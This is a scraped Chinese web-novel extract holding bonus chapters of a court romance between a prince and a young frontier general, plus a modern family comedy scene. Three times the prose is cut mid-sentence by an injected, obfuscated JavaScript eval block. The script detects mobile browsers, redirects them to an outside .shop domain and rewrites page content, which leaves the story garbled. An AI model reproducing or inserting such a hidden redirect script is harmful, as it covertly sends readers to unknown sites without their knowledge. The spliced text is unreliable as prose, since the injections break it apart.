迟铎心里很清楚,这样的话,裴与驰不可能未经权衡便说出口。 他没有立刻接话,一旦开口,不论应下,还是回避,都等同于在这盘棋上落子。 他抬眼看向裴与驰。那人神色如常,仿佛只是把该说的话说完,至于听与不听、如何选择,全凭他自己。 屋内的沉默尚未落定,外头忽然传来一阵急促的脚步声。 老医几乎是小跑着进来的,手里抱着一包已经扎好的草药,额角还带着汗。“我方才去喂马,”他压低声音,语速却快,“在街口看见了匈奴人的踪迹,一行十来个,正往这边摸过来。”他说着,将怀里的草药往前一递,又从袖中掏出几条干净的布带和一小包药粉,一并塞过来。“我又抓了点药,路上以防万一,”老医顿了顿,声音更低,“这些是包扎伤口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风声扑面而来。迟铎收紧缰绳,背脊在疾驰中微不可察地绷紧了一瞬。那点毒性并未彻底散去,只是被他强行压住。 下一刻,一只手覆了上来。 裴与驰自后扣住他的腰,力道不重,却恰到好处,牢牢地稳住了迟铎的身体。 “别逞强。”他说。 迟铎没有挣开,裴与驰的手仍扣在他腰侧,力道未变。两位少年在马背上紧贴而坐,随马势起伏,谁也没有再挪开。昨夜同样是一骑,却各自绷着力道,一个控马,一个撑着自己,贴得近,却分得清。 此刻却不同了。 至少,对迟铎他自己来说,抛开家族、立场与那些尚未落子的事不谈,这一程,他是愿意把命押在这位三皇子身上的。 两人一马疾驰而行。雾气低垂,天地混沌,视野尽失。身后马蹄声时断时续,始终追不上来。追兵几次合围未成,反被雾气扰乱阵形,只得在原地兜转。 直到熟悉的营火在雾中亮起。迟家的营地,近在眼前。这一口气,迟铎撑得太久,刚过界碑,他握着缰绳的手便再没了力气,指节一松,整个人顺着马背往前栽去。裴与驰反应极快,几乎是在他失力的瞬间,便伸手将人揽了回来。马尚未停稳,他已翻身而下,一步踏实,顺势把人稳稳接进怀里。动作干脆利落,没有半点犹豫。 守在营门前的亲兵最先看清来人,愣了一瞬,随即高声通报。营中火把齐亮,迟将军已披甲而出,脚步极快。 他看到的,是一身夜行服的三皇子,三皇子怀里,抱着同样一身夜行服、意识不清的儿子。那向来天不怕地不怕、敢瞒着他单骑闯敌营的刺头,此刻安静得出奇,头垂在对方肩侧,连挣扎的力气都没有。 营门前一瞬死寂。 副将、谋士、亲兵,全都噤了声,一时间竟无人敢动。不清楚是该跪地请罪,还是该上前迎驾?是先恭贺三皇子平安归来,还是先去看自家小将军的生死? 去救人的,怎么命悬一线;被救的,反倒把人抱了回来。 这画面太过离奇,离奇到让人不敢贸然下判断。有人脑中甚至闪过更糟的念头,这是不是设下的局?毕竟三皇子,是奉旨而来的监军,是此行真正握着生杀之权的人。 越想,越乱。 迟将军脚步一顿,神色在火光下几不可察地沉了一分。 裴与驰却没有解释,也没有寒暄。他抱着人站定,连多余的目光都未曾分出,只抬眼看向营中,语气干脆到近乎冷硬:“军医呢?” 这一声问话,直接把所有猜测压了下去。 他低头看了一眼怀里的人:“迟铎中毒了。” 69.古代-玄铁剑[番外] 迟铎再次醒来时,先映入眼帘的是熟悉的花梁雕花。梁木纹路清晰,漆色未褪,帐顶垂下的流苏一动不动,空气里弥漫着淡淡的药味,混着他自己屋中惯用的熏香。 这是他的房间。 他心里很清楚,可在彻底清醒之前,脑中还是掠过一个念头,那些血腥、夜奔、马蹄与风声,会不会只是高烧里做的一场梦。 迟铎动了动指尖,缓慢地吸了一口气,又吐出来。胸腔随之起伏,不再有撕裂般的疼,只剩肩臂仍旧发胀,却已不是那种剜肉蚀骨的痛。 门被推开,一名小厮端着药碗进来,看见他睁着眼,愣了一下,随即脸色一喜,几乎是下意识地压低了声音:“少爷醒了?” 迟铎“嗯”了一声,嗓子干得发疼。 小厮快步走到床前,把药碗放下,又伸手探了探他的额头,动作熟练,显然已经不是头一回:“烧是退了,可军医说还得静养,不能逞强。老将军方才还来过一趟,见您没醒,又去前帐了。” 迟铎闭了下眼,心里便有了数。 果然不是梦。 “三皇子呢?” 他开口时声音还有些发虚,一张口,问的却是裴与驰的安危。 纵马逃出的后半段路途早已记不真切,只剩冷风扑面、马蹄杂乱的零碎印象。缰绳在掌下收紧又放松,几乎全凭本能。那一路,他是硬撑着把人带回来的。 迟铎心里却清楚得很。那一夜若是真倒下的是三皇子,牵着的便绝不只是他们二人这一场生死。皇子殒命边关,迟家首当其冲,迟家军更难脱干系,纵有再多的血与功,也未必填得平这桩祸事。 更何况,那个人在危急关头,已经不止一次把他从死地里拽了回来。 “殿下如今住在军营。” 迟铎微微一怔。 这事说来,并不简单。昨夜迟老将军连夜调人,将自己原本的房间收拾出来,原想着暂且安置三皇子一行。城中酒肆已然出事,三皇子遭人伏击,被擒入敌营,纵然后来幸运脱身,也断不敢再把这尊大佛送回去。 可被军师劝下来,将人留在将军府,又实在不妥。三皇子名义上是带着粮草慰军,实则身负监军之责,尚方宝剑在身,代表的便是天子耳目。若迟家表现得太过热络,外头看去,难免要生出别样心思。尤其是皇上会怎么想?是否会疑迟家与沈家暗中勾连,早有勤王之意? 可偏偏,三皇子又救了迟铎一命。边关艰苦,军营清寒,将人往那样的地方一送,迟老将军心里又实在过不去。 正当众人权衡再三之际,三皇子却是自己开了口,不必府中安置,也不回城内酒肆,只在军营暂住。 话说得平静,态度却不容置喙,反倒把所有为难一并压了回去。 迟铎不由想起初见裴与驰时的模样。 锦袍在身,虽破损沾血,却一眼便看得出是上好的丝绸料子,说话行事也透着股不大把人放在眼里的劲儿。分明是养尊处优惯了的人,平日里在宫中,怕是地龙不熄、香薰不断,连夜风都有人替他挡着。真要拿民间来比,大概就是世家深宅里被捧着长大的公子哥。 这样的人,丢到军营里来,能行么? 迟铎心里啧了一声。 帐篷漏风,夜里冷得要命,饭是糙的,水是凉的。就算是他父亲的帐中,也不过多铺了张虎皮,添了个火炉,再没别的讲究。那位三皇子若是半夜被冻醒,会不会暗骂自己接了个苦差事。 想到这里,迟铎忽然觉得有点好笑。 因为他发现,自己竟想象不出裴与驰那张脸叫苦连天的模样。 饭菜的香味打断了他的思绪。病势一退,胃口立刻醒了过来,腹中空得发紧,他这才后知后觉地意识到,自己已经许久未曾正经吃过一顿热食。 而另一边,被他在心里“污蔑”了半天会叫苦连天的三皇子,此刻正坐在军营的帐篷中,接见随行亲卫。 “回来了?” 帐中陈设极简。一张行军床,一张木桌,两把椅子,已将地方占得差不多,多添一件,便得有人站着。军师送来的文房四宝,被原样退了回去;迟老将军特意命人送来的虎皮,也被三皇子挡在帐外,连个多余的说辞都没有。 桌上的饭菜还未撤下。是迟府特意开的小灶,为的是图个稳妥,也顺带改善伙食。比起军中常见的清粥面饼,这一桌已算得上丰盛,有肉有菜,热气尚存。只是边地苦寒,物资有限,这样的饭食,放在军中已属难得,若拿去与皇宫相比,却实在算不上什么。 裴与驰坐在那里,袖口挽起,神色如常,仿佛并未觉得有何不妥。亲卫回禀完事情,目光在那张桌子上略停了一瞬,又很快收回,低声问道:“殿下可还吃得惯?”裴与驰抬眼看了他一眼,语气平淡:“够了。”顿了顿,又补了一句,“不必再费心。” 亲卫应声退下。帐中安静下来,裴与驰指腹在桌沿轻轻敲了一下,思绪却已转了几转。亲卫带回来的消息不多,却足够刺眼:酒肆老板一家老小,一夜之间尽数消失,踪迹无处可寻。 酒肆遇伏,绝非偶然。行程本就隐秘,能让匈奴提前设伏,必然是消息先一步泄露,对方有备而来,甚至算准了他的去处。 泄露从何而来? 若是边关这头…… 迟家? 这个念头只在心中掠过,便被他自己按了下去。迟家若真有异心,事情便不会止于一场伏击。钦差尚未在边地站稳脚跟便横遭不测,等同火烧圣旨,这样的事一旦做了,便再无回头路,迟家不至于如此冒进。更何况,昨夜迟铎救他时的情形,实在不像是苦肉之计。那般险境,生死只在顷刻之间,稍有差池,便是两条命一并交代。迟铎又是迟家独子,虎毒尚且不食子,迟将军更不可能拿这一脉去赌。 若非迟家,那便只能是京中。 有人不欲他回京,甚至不惜与匈奴勾连,借敌手之力,置他于死地。更甚者,这种勾连并非临时起意,而是早已有之,只待一个合适的时机,将他送入敌营。 念头至此,裴与驰的神色终于沉了下来。 若真如此,迟家多年镇守边关,却始终未能彻底平定匈奴之患,便不只是“将在外有所不受”的缘故了。朝堂之争,恐怕早已越过宫墙,悄然蔓延到了这片边境。 迟家军,真就是铁板一块么? 裴与驰端起茶盏,抿了一口,神色却并未因此变得凝重。这样的局面,于他而言,反倒算不上坏事。人既已在军营,明枪暗箭便避不开,牛鬼蛇神迟早要露面,与其处处设防,不如索性看个清楚。 他心里有数。这里未必比城中安全。帐外刀兵在侧,夜里巡防频繁,真要有人动手,反倒更近、更快。可也正因如此,藏着的东西,才更容易现形。 他向来不惧这些。 宫墙之内待得久了,规矩层层,刀剑束之高阁,一身武艺学来,却无处施展。如今边关风高浪急,局势明晃晃地摆在眼前,倒像是特意替他铺好的场子。 正好。 许久未曾真正动手,昨夜权当热了热身。既然戏已开场,便该有几分看头才是。 至少,也该是迟小将军那样的。 尊贵的三殿下想瞌睡,正好遇上了枕头。入夜不久,帐外果然有了动静。 一道身影贴着暗处掠过,脚步极轻,落地无声,若是寻常人,多半只会当作夜猫走动,听过便算。那人靠得近了些,呼吸被刻意压低,手伸向帐帘。下一瞬,帐口刚被挑开一道缝,寒光骤起,一柄剑横陈在刺客喉前,贴得极近,只需稍微一歪,便能割断喉骨。对方身形猛地一僵,动作停在半空,连呼吸都不敢再重上一分,双手缓缓抬起。 “是你?” 裴与驰看清来人,眉峰微挑,顺手将剑收了回去。 帐外的人也愣了一下,随即掀帘钻了进来,动作熟门熟路,脚下半点不虚,像是前一晚压根没在鬼门关前走过一遭。迟铎手里还拎着个油纸包,热气隔着纸都能透出来,香味先一步钻进帐里。 “路上正好巡了一圈。”他低声道,把东西往桌上一放,“想着你这儿大概有热闹,就顺道过来看看。” 话一出口,他自己先顿了顿,像是才意识到说漏了嘴,立刻补了一句:“顺便……给三殿下您送点吃的。” 裴与驰看了他一眼,又看了眼那包东西,没有立刻去接。迟铎却已经凑了过来,一副献宝的模样:“三殿下晚间没吃饱吧?府上的老王做菜实在不成,年岁一大,不是手一抖倒翻盐罐,便是索性忘了放。这个不一样,我特意绕去食肆买的油酥鸭。” “夜里吃得太饱,反应会慢。”裴与驰淡声回绝,又顺带提醒了一句,“迟小将军这个习惯,也该改改。” 他顿了顿,目光在迟铎身上停了一瞬,“否则,也不至于连箭到眼前,都没能第一时间避开。” 迟铎一口气卡在喉咙里,半晌没接上来。 这世上怎么会有这样嘴损的人。本还惦记着给救命恩人改善伙食,念头还没落地,便被一句话堵了回来。他心里冷哼了一声,只觉自己这点好心,实在多余。 可这些话终究没出口,出口的,却是他早就憋在心里的一件小事。 “喂。”他忽然喊了一声,先前那点恭敬不知何时散了个干净,抬眼看向裴与驰,语气生硬得很,“卑职姓迟,名铎。” 顿了顿,又接了一句:“三殿下,能不能别一口一个‘迟小将军’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086209|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地叫?” 在山洞里他便已见缝插针地自报过姓名,这位三皇子武艺不俗,心思也深,情报更是不缺,不可能不知道他是谁。可偏偏不肯叫名,只慢条斯理地唤一句“迟小将军”,听着客气,落在耳中却怎么都不痛快。 “你不也一直唤我三殿下?” 迟小将军是改成了“你”,可三殿下却顺势反将一军。 迟铎被噎了一下。话是这么说没错,可他总不能真去唤皇子的名讳。先不提这位会不会怪罪,他爹若是听见,怕是鞭子都来不及停。 “那……”他忍了忍,还是没忍住,闷声问道,“卑职该如何称呼殿下?” 裴与驰没有立刻回答,只看了迟铎一眼,像是在打量,又像是在思索,随后却问了句毫不相干的:“你生辰在何时?” 迟铎一愣,下意识便报了。 裴与驰听完,略一盘算,唇角极轻地动了一下,语气依旧冷淡:“我比你大两个月。” 他说到这里,停了一瞬,像是终于想好了答案:“叫我与驰哥哥便是。” 迟铎沉默了。 这一刻,他忽然觉得,方才那声“迟小将军”,其实也不是不能忍。 裴与驰看了他一眼,像是终于看够了他吃瘪的神情,偏过头去,没忍住轻轻笑了一下。笑意极淡,转瞬即逝,却刚好被迟铎看了个正着。 迟铎心口那点气“噌”地一下就顶了上来,这人分明就是故意的。 什么君臣有别,什么救命之恩,全被他一并抛到了脑后。他索性也不客气,抬脚进帐,把这里当成自家屋子似的,大剌剌地坐了下来,偏还专挑裴与驰方才坐的那张。 他当着裴与驰的面拆开油纸包,油酥鸭的香气立刻在帐中散开。迟铎低头啃了一口,直接上手撕着吃,半点不讲究。吃着吃着,目光却被桌上那柄剑勾了过去,那是方才差点要了他命的东西。 剑就随意搁在桌上,通身玄铁,没有半点多余装饰。剑鞘素净,既无雕纹,也无鎏金,连剑穗都省了,看着冷冷清清,朴实得过分。若是丢在军中,怕是混进一堆寻常兵刃里,都未必有人多看一眼。 迟铎盯了片刻,忍不住嘀咕了一声:“三……”话到一半,想起方才那场官司,硬生生拐了个弯,“……原来是用剑的。” 称呼被他含糊带过,生怕慢一步,就要被一句“与驰哥哥”当场纠正。他又看了那柄剑一眼,语气里带着点真心实意的诧异:“这剑……怎么这么素?” 说着便伸出手,指尖还沾着油,眼看就要往剑鞘上摸过去。 “迟铎。” 声音不高,语气平静,警告却再明显不过。 “小的遵命。”迟铎答得飞快,手收得比谁都利索。名字已经到手,他也就不再多事了。 话虽这么说,他还是没忍住,撇了撇嘴:“啧,你们这种……”话到一半,又觉得说得太满,干脆顺势改了口,“天潢贵胄,用的剑不该镶点宝石、刻点金丝么?再不济,也该看着贵气些。” 不像他们。杀人的东西,讲究的从来都是轻、快、顺手。迟铎自己的刀也是这样,打出来是什么样,就一直用什么样。更小的时候,是拿来对付狼的,后来,便换成了人。 裴与驰没有计较他话里话外的冒犯,只淡淡应了一句:“杀人的东西,只配这样。” 这话落下来,干脆利落。 迟铎心里忽然动了一下。他低头又看了那柄剑一眼,没再说什么,只觉得胸口那点说不清的感觉,比方才吃下去的油酥鸭还要热一些。要不是隔着个皇子的身份,他几乎要以为,自己遇见了个难得合拍的人。 “真不吃吗?”他还是没忍住,又问了一句,“这家确实不错,我吃了好几年。” 裴与驰没有答话,只伸手把手帕甩了过来,嫌弃之意摆得明明白白,随后又将一杯茶推到他手边。迟铎低头看了看那方帕子,又看了看茶,哼了一声,终究还是接了,胡乱擦了擦手,继续啃他的鸭子。 帐外的风一阵一阵地吹着,灯影随之轻轻晃动,一个没走,一个也没赶。一人低头吃着油酥鸭,一人靠坐着看,偶尔说上两句无关紧要的话,又很快安静下来。巡营的脚步声在远处起起落落,风偶尔掀动帐帘一角,又被压回夜色里。 帐内那盏灯,一直亮着。 一个生于深宫,一个长在塞北,说起见过的风景、用过的兵器、走过的路,各执一词,谁也不肯让谁。可说到最后,话题终究绕回那两件兵刃,玄铁长剑,通体如墨;长刀无纹,刃口生光,皆不尚华饰,只求落入掌中,生死有凭。 灯火映着两张尚未褪去锋芒的年轻面孔,有那么一瞬,说起某些事时,神色竟是一般无二。 70.小海星女儿if[番外] “papa~~!” 裴与驰刚回到家没多久,正坐在客厅回消息,连外套都还没来得及脱,就听见那道熟得不能再熟、又一点都不知感恩的声音。根据尾音判断,大概率是来讨饭的。本来就是块面包片,居然还天天喊饿,也不知道饿的是哪一层。 幸好小海星没有读心术,不然她现在眼泪肯定已经开始Prada Prada地往下掉了,而且是那种,掉几颗,她爸就得按数量把Prada们原价补齐的程度。 裴与驰“嗯”了一声,眼都没抬。 下一秒,脖子一紧。一头小小猪已经熟门熟路地跪上沙发,整个人挂在他身上,开始左右晃:“papa papa papa~~ snuggle-buggle~抱抱~~” 裴与驰终于停下打字:“要什么。” “妈咪already said yes了!”小海星声音立刻拔高一个度,甜得理直气壮,“下周带我去金球晚宴~~~”她一边说一边在他肩上蹭,兴奋得不行:“裙子都选好了,真的超好看,是那种一走红毯就会被大拍特拍的!” 裴与驰:“然后?” “然后就是……”她拖了一个极其漫长的尾音,语气瞬间变得小心翼翼又期待,“想配一条项链,那条真的和裙子绝配!” 停顿。 “就……一!点!点!贵贵。” 她抬头看他,眨眼,眨得非常有节奏,卖萌卖的浑然天成。 “我刚刚已经开始收到扣款信息了。”裴与驰面色如常,对这对母女的套路早已习以为常。 “哎呀哎呀~”小海星立刻双手捂脸,把整张脸埋进去,“但还是要跟papa说的嘛~~不许生我气,好不好嘛~~~” 话音刚落,她又悄悄把并拢的手指挪开一条缝。先露出一只眼睛,再露出另一只。杏眼睁得大大的,亮得不行,牢牢盯着老爸的脸色,像是在现场执法,不允许papa出现哪怕一点点点点点点的不高兴。 十分不讲理。 而且这种不讲理,和她妈一模一样。 只要情绪稍微往下掉一格,眼泪就能立刻Prada Prada地往下砸,大小姐的独门绝技,熟练得很。 “……” 裴与驰沉默了一秒,看了眼正赖在自己身上不动、还在卖乖的那块面包片。 “……没有配套的耳环吗?” “mua~!”面包片立刻凑过去,在他脸上亲了一口,语气甜得理所当然:“最爱最爱最爱papa了!” “女儿对你撒娇是不是很开心?”迟铎在旁边笑咪咪地问,语气十分真诚,仿佛完全没意识到自己才是这一切的源头,教女儿开心或者不开心一律爆刷老爸的卡。 “被一头小小猪拱来拱去,有什么好开心的。”裴与驰头也没抬,一边回消息一边评价。 小海星:“……” 她哼着歌抱着水杯往房间走,走到一半,脚步猛地一刹,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086210|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒,小小猪原地掉头,气势汹汹地杀了回来。 “就……比你拱起来轻一点而已。”裴与驰继续,客观评价,火力无差别覆盖,妈也一如既往没被放过。 迟铎:“?” 小海星双手抱臂,冷冷一瞥:“所以,如果我们都是猪的话,那你是什么?” “养猪人。”裴与驰想都没想。 “……” 短暂的沉默。 小小猪原本还想和小猪统一战线,一起控诉这个污妻蔑女的可恶老爸。 “我哪里重?” 话音未落,小猪当场一个助跑,结结实实拱了上去,当场就要个说法,老公竟然嫌弃自己重。 小小猪:“……” 行吧。 小猪都承认了自己的身份,小猪的女儿没话说。 Peppa就Peppa。 小海星一边生气,一边打开手机改了自己的 ins 名字:???? Peppa 秉承着即使是小小猪,也不要低头哭,因为??不能掉。 顺手又把老爸的备注,从「爸爸熊」改成了:???? Royal ATM Papa ?? 改完还不解气,又低头操作了一下妈妈的备注,迟铎的名字下面,明晃晃地写着:???? Mommy Peppa Prime?? 妈妈即使是小猪,也是最厉害的那头。 一家人整整齐齐,正式加入皇室佩奇宇宙。 71.古代-粮草[番外] 粮草未动,兵马先行。 裴与驰此行,原是先于粮草抵达边关。可人到了,粮却迟迟不至。两月将满,塞北春寒拖得极长,霜冻未散便逼入夏,地里收成比往年更薄。哪怕是平年,边关屯田也不过勉强支撑;如今遇上长冻,本地粮食根本不够吃,只能指望朝廷的粮草续命。 可这口续命药,迟迟不来。 军中库存很快见底。粥一日比一日淡,饼子掰开来,杂粮的颜色一眼便能看出。有人夜里去仓房转了一圈,回来时一句话也没说。第二日巡营,议论声却比往常多了些:路不通、天不好、朝廷失察,甚至还有更难听的猜测。 军心不稳,是大忌。迟了了为此急得上火。 军师送来的消息却很清楚:粮草并非未发,而是滞在长衡县。长衡离边关不远,是通往塞北的最后一道关卡。再往北,便是军镇与草原。按理说,粮草一到这里,三五日便该入营。可偏偏,停在此处,压着不动 长衡县令吴义,本是京中挂名的闲官,仗着出身,在城里混了个差事。前些年当街作威作福,打伤了人,被御史弹劾,贬到地方。若只是如此,也算不得什么。偏偏,他是户部右侍郎吴嵩的子侄。吴嵩素来行事谨慎,早年便投在左相闻铮门下,户部钱粮多由他经手。吴义犯事,靠着叔父在京中周旋,不但遮掩了罪名,还替他谋了这个“好去处”,长衡是粮道要地,来往粮车络绎不绝,最方便上下其手。 消息传回营中,结果其实很清楚。 要么,是天寒地冻、道路不顺,粮草被迫压在长衡;要么,便是有人有意为之。 若是前者,兄弟们咬牙扛几天,也就过去了;可若是后者,太子一系扣住三皇子押送的粮,把边军的救命药当成朝堂博弈的筹码,那这件事,便不只是“粮未到”的问题了。 迟家,恐怕很难独善其身。 是朝廷一时失察,还是根本就没打算让这批粮草准时到达?再往深处想,便更叫人心寒。若朝廷真心要养这支边军,怎会容许粮草卡在最后一道关卡?若这不是耍着他们玩,又是什么?难道皇上也要因大统人选未定,将这烂摊子往边关一扔? 迟了了自问忠的是裴家,护的是百姓,可兜兜转转,他竟也不得不去想,忠裴家的谁。 这边焦头烂额,那边也在思索对策。 这一步拦粮,卡住的从来不只是边军,更是狠狠打了裴与驰的脸。他是奉皇命北上慰军而来,粮草在名,监军在实。无论如何,这一趟至少该是“礼到人到”。军中就算心里有怨,也会看在皇子的身份与圣旨的分量上,敬他三分。可如今,人到了,粮却没到,这便成了一件极其危险的事。在边军眼中,他究竟算什么?是空有其名、办不成事的三皇子?还是干脆就代表着圣上的意思,拿粮草吊着他们的命,耍着这支军队玩?一旦这个念头在营中生根,后果便不可控。粮一日不到,怨气便一日积着。等到军中真有人撑不住,起了乱子,这把火第一个烧到的,绝不会是远在京城的朝堂。 而是他。 到那时,边军暴动也好,失控也罢,都有的是说法。可裴与驰这条命,怕是就不好说了。 裴与驰帐内,两名亲卫单膝跪地。这两人,皆是他的死士。自幼由外祖请旨,从禁卫军中精挑细选,送到他身边,一路跟随至今。此刻齐齐跪下,劝他三思。 “殿下,此事牵连甚广,还需从长计议。” 裴与驰却已起身,将外袍拢好,随手收拾行装,动作利落,面色不改。 “等不起。”他说得平静,却没有半分商量的余地。 过了这么些时日,军营里倒没见刺客,可有人终于藏不住马脚。山不动,他动。粮草既滞留在长衡,那便亲自去看看。 他抬眼,看向站在一旁的武秦:“你拟一封拜帖,以我名义。” 武秦一凛,立刻应声。 “让长衡县令吴义,备衙相迎。” 拜帖是上午送出去的,未过申时,回信便已递回营中。字句极恭,措辞周全,只说衙署已备,静候殿下驾临。裴与驰看完,连多问一句的意思都没有,直接起身。 “走。” 他这一去,并未张扬。可收到风声的迟将军仍是按捺不住,上前试图劝阻,却被亲卫拦下。只能对着亲卫吐露几句肺腑之言:长衡虽近,终究是地方官辖地,又牵着粮道,贸然前往,总要防着有人生事。尤其吴义是太子一系的人,黑手难防。 迟将军一番好心被武秦婉言谢绝,甚至都没报到裴与驰那里。边境算得上危机四伏,吴义来者不善,难保迟家没有二心,若是联合围剿殿下,那才是真正的危机四伏。 最终只有十余名亲卫随行而去。 到了长衡县衙,吴义已率县丞、主簿等一干属官在门前恭候。人来得齐整,衣冠也体面,见到裴与驰下马,齐齐行礼,口中称呼恭敬,姿态做得十足。 裴与驰却无意与他们寒暄,只扫了一眼,开门见山:“粮草为何滞留在此?”话落,县衙前一瞬间安静下来。吴义脸上神色不变,似是早有准备,拱手笑道:“殿下一路风尘,想必劳顿。此事牵涉账目与路况,一时半会儿也说不清,不如先行歇息,容下官为殿下接风洗尘,稍后再细禀。” 说得滴水不漏,字字都在理上。裴与驰看了他一眼,没有当场驳回,只点头示意带路。一行人随即移步酒楼。包厢早已备好,临窗而设,陈设雅致,显然是提前安排过的。裴与驰落座,亲卫们都立在身后,防范之意很明显,面子给三分,刀却不离身。 酒还未上,话也尚未开口,帘外却忽然传来一阵细碎的脚步声。一群舞女被引了进来。个个年岁尚幼,衣裙鲜艳,神色却拘谨。有人低着头,有人眼神飘忽,显然并不自在。吴义端着酒杯,笑意温和,目光却在她们身上一一扫过。有两个女孩在他目光示意下,迟疑了一瞬,终究还是硬着头皮往前走,步子放得极轻,像是怕踩错一步。刚要靠近,裴与驰已微微侧身,避开了,动作不大,却干脆利落。那两个女孩一愣,站在原地,进退不得。 裴与驰这才抬眼,看向吴义,“吴县令。”声音不高,却冷得很,“这是何意?” 这一句问出口,席间的笑意便像被人一把掐断。吴义没说话,一旁的主簿却像是早有准备,脸皮厚得惊人。他略一怔,随即站起身来,作了个不大不小的揖,语气反倒显得十分无辜:“不关吴县令的事,是下官疏忽,自作主张唐突了殿下。” 他说着,侧身把那两个舞女往前一推,话锋一转,竟顺势落到了她们身上。“这两个丫头年纪小,不懂规矩,许是听闻殿下一路奔波,又遭了劫难,想着殿下在军营清苦,才自作主张,想为殿下解解乏。”他说得轻巧,仿佛这“自作主张”是天大的善意。 “她们别的本事没有,跳舞作乐还算拿得出手。”吴义笑了笑,又补了一句,“久闻殿下剑艺惊人,若殿下兴起舞剑,有她们在旁助兴,倒也是一桩雅事。” 话音落下,席间安静得过分。那两个被推到前头的女孩低着头,指尖发白,连呼吸都放得极轻,显然极其惧怕身边之人。脸皮之厚,竟能把这等腌臜事,轻描淡写地推到被迫而来的幼女身上。 跟着裴与驰一同入席的亲卫中,有一人戴着面巾,站在稍后的位置。他原本抱臂不动,此刻却没忍住,低低“啧”了一声,声音极轻,却带着毫不掩饰的嫌恶。 裴与驰没有说话,只是看着吴义。吴义在官场打滚多年,见惯了官威、套熟了人心,可此刻被这样一双眼睛盯着,后颈却还是不由自主地渗出了一层汗。那不是寻常的威压,是皇室血脉自带的东西。哪怕年纪尚轻,哪怕羽翼未丰,但目光依旧叫人不敢直视。 吴义终于有些坐不住了。他移开视线,借着整衣的动作,朝一旁使了个眼色。主簿会意,抬手轻轻拍了两下。下一瞬,几名衙役抬着一个箱子进来,落地时发出沉闷的一声响。箱盖掀开,金锭码得齐整,分量不低。吴义这才重新开口,语气带着几分自以为周到的体贴:“殿下一路辛劳,下官不敢怠慢。” 他叔父吴嵩久居京中,对宫里的规矩再清楚不过。皇子在外看着风光,实则用度受限,私财被看得极紧。圣上倡简朴,名声在外,可真正能随意支配的银钱,反倒不多。 这一箱金子,便是他们的诚意,也是他们的试探。粮草滞留长衡,账目自可慢慢核;边军缺粮,也总能找得到说辞。只要三殿下肯点头,这批粮便可“顺理成章”地压着,他们囤货在手,转手一卖,无论是粮商,还是草原那头,自有一条发财的路。至于边军的死活,从来不在他们的账本上。要也可以,拿钱来买,价高者得。 “你方才说,”他语气平静,“粮草滞留,是因路况与账目?” 吴义一怔,下意识点头,他以为三皇子这是听进去了。只要顺着台阶把话圆回来,再装模作样告个罪,这事便能拖过去。粮在手里,人还在边关,总有转圜的余地。 念头刚起,话还未出口。 裴与驰已侧过头。 “武秦。” 只两个字。 武秦与另一名亲卫同时上前,动作干净利落。刀光一闪,快得几乎没有声响。等众人反应过来,主簿已被一刀封喉,喉间血线迸开,溅在箱角上,温热地往下淌。 席间骤然死寂。舞女僵在原地,连呼吸都忘了;衙役的手停在半空,谁也不敢动。 裴与驰的目光重新落回吴义身上。 “账目的事,已经解决了。”他语气冷漠,像是在处理一件再寻常不过的小事。 他微微偏头,声音不高,却压得人背脊发寒:“那路况呢?吴县令还有什么说法?” 吴义被这突如其来的一幕彻底惊住。温热的血几乎是迎面喷上来的,溅在他脸上,顺着鬓角往下淌,有腥咸的液体滑进嘴里。他愣了一瞬才意识到那是什么,喉咙猛地一紧,胃里翻涌上来,当场干呕出声。他踉跄着后退半步,脸色煞白,袖口胡乱去擦,却越擦越脏。直到这时,他才真正明白:这位三皇子,不只是眼神像那位,连行事也像那位,难怪太子这些年无法安眠。 吴义的眼神骤然变了。惊惧褪去,取而代之的是被逼到绝路的狠意。他猛地抬手,几乎是下意识地做了个手势,动作又快又急。下一瞬,包厢一侧的屏风后传来轻微的响动,暗门被推开。一群黑面人鱼贯而出,动作整齐,步伐沉稳,显然早已埋伏多时。他们迅速散开,将裴与驰围在当中,刀剑出鞘,寒光逼人。 气氛在瞬间绷紧。原本还在席间的舞女早已吓得缩到角落,连尖叫都不敢发出。酒楼外的喧闹仿佛被隔在了另一个世界,只剩下兵刃摩擦时低低的声响。吴义站在包围之外,胸口剧烈起伏,脸上的血迹尚未擦净,混着冷汗,狼狈不堪。他的声音因惊魂未定而发颤,却仍强撑着开口:“殿下……”他勉强扯出一个笑,“本来是想和气生财的。走到这一步,也是您逼我的。” 裴与驰动也没动:“吴县令,你是承认背着朝廷豢养私兵了?” 吴义脸色一僵,随即冷笑了一声,索性不再遮掩:“殿下说得严重了,这块地界本就蛮荒。来往之人又杂又狠,真要出了事,朝廷那边拍马也赶不上。下官不防身,只怕尸体凉了,都没人来收。” 他往前半步,声音低了下来,却更显阴沉:“三皇子,这也不是我一人的主意。我不过是个九品芝麻官,被贬到这鬼地方,想着能有碗热粥过活便算不错了。” 他抬了抬下巴,语气里带着毫不掩饰的轻蔑:“可上头不许啊。钱和粮,是大事,我也只是替上头把这两样东西守着罢了” 